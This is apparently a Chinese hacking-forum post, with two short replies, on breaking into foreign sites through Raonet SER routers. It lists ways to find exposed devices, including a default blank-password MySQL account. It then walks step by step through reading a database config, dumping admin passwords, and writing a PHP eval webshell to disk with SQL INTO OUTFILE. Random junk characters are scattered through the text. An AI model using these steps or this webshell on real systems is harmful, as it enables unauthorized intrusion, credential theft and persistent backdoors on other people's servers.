利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

  [, G1 c0 _& q/ Q3 T0 W, l, c( A( r1：google搜索'Raonet Subscriber Ethernet Router'
. B* S/ b% ?" t5 k* @) r
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
: Q$ }7 S/ e7 I) ^9 w4 Y
3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

: C3 i0 L- U; \/ X' N//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......

/ F2 E: E% r, f7 h' _
( n2 v+ s3 l; \5 S# P- B+ I
入侵步骤：

1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
6 T4 P7 {; I9 P
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
1 Z5 r% S) A5 e9 O0 U3：得到密码后连接，查看GUI管理密码：
use ser_500
select id,passwd from user;
4:通过数据库写入webshell，执行命令：
- c3 A! \% V7 x6 U$ W1 R6 Z  tuse mysql;
9 T1 A& Y/ A1 t; F7 G, rcreate table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;
6 e; E1 V7 o7 _4 k8 }& P5 E
4 ^9 S  ?# E' x% Y& Z4 B+ t5:连接后门shell.php
' F' P) _" |" v1 h6 D5 n
6. 搞定！
: f5 V! h1 M+ {* i2 u- ?( W& J
9 o- F9 H9 h% A( y. x  [

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。